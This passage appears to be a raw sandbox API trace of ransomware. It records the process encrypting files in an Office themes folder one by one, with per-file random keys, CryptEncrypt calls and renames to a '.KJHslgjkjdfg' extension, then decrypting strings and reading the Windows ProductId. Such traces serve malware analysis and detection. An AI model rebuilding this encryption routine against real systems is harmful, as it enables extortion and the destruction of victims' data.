CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.118] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.118] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xda86, lpOverlapped=0x0) returned 1 [0146.120] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xda90, dwBufLen=0xda90 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xda90) returned 1 [0146.121] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.121] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xda90, lpOverlapped=0x0) returned 1 [0146.121] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.121] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xdb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.121] SetEndOfFile (hFile=0x118) returned 1 [0146.124] GetProcessHeap () returned 0x2a0000 [0146.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.124] GetProcessHeap () returned 0x2a0000 [0146.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.kjhslgjkjdfg")) returned 1 [0146.125] CloseHandle (hObject=0x118) returned 1 [0146.125] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0146.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.128] GetProcessHeap () returned 0x2a0000 [0146.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.128] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.128] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.128] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.130] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.130] GetProcessHeap () returned 0x2a0000 [0146.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.130] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.130] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.130] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.130] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.130] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.130] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.131] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.131] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.131] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.131] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.131] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x225, lpOverlapped=0x0) returned 1 [0146.131] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0146.131] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.131] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0146.132] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.132] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.132] SetEndOfFile (hFile=0x118) returned 1 [0146.134] GetProcessHeap () returned 0x2a0000 [0146.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.134] GetProcessHeap () returned 0x2a0000 [0146.135] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.kjhslgjkjdfg")) returned 1 [0146.140] CloseHandle (hObject=0x118) returned 1 [0146.140] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.140] GetProcessHeap () returned 0x2a0000 [0146.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.141] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.141] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.141] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.143] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.143] GetProcessHeap () returned 0x2a0000 [0146.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.143] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.144] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.144] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.144] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.144] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.144] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.144] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.144] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.144] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.144] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.144] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x785, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x785, lpOverlapped=0x0) returned 1 [0146.144] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x790) returned 1 [0146.145] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.145] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x790, lpOverlapped=0x0) returned 1 [0146.145] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.145] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.145] SetEndOfFile (hFile=0x118) returned 1 [0146.148] GetProcessHeap () returned 0x2a0000 [0146.148] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.148] GetProcessHeap () returned 0x2a0000 [0146.148] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.149] CloseHandle (hObject=0x118) returned 1 [0146.149] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.151] GetProcessHeap () returned 0x2a0000 [0146.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.151] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.151] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.151] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0146.154] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.154] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.154] GetProcessHeap () returned 0x2a0000 [0146.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.154] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.154] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.154] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.154] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.154] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.154] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.154] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.155] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.155] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.155] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.155] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6b0f, lpOverlapped=0x0) returned 1 [0146.156] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6b10) returned 1 [0146.156] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.157] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6b10, lpOverlapped=0x0) returned 1 [0146.157] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.157] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.157] SetEndOfFile (hFile=0x118) returned 1 [0146.160] GetProcessHeap () returned 0x2a0000 [0146.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.160] GetProcessHeap () returned 0x2a0000 [0146.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.161] CloseHandle (hObject=0x118) returned 1 [0146.166] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.166] GetProcessHeap () returned 0x2a0000 [0146.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.166] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.166] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.166] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.166] GetProcessHeap () returned 0x2a0000 [0146.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.166] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.166] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.166] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.166] GetProcessHeap () returned 0x2a0000 [0146.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.166] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.167] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.167] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.167] GetProcessHeap () returned 0x2a0000 [0146.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.167] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.167] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.167] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.167] GetProcessHeap () returned 0x2a0000 [0146.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.167] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.167] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.167] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.167] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.167] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.168] RegCloseKey (hKey=0x118) returned 0x0 [0146.168] GetProcessHeap () returned 0x2a0000 [0146.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.168] GetProcessHeap () returned 0x2a0000 [0146.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.168] GetProcessHeap () returned 0x2a0000 [0146.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.168] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.168] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.168] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.168] GetVolumeInformationW (in: 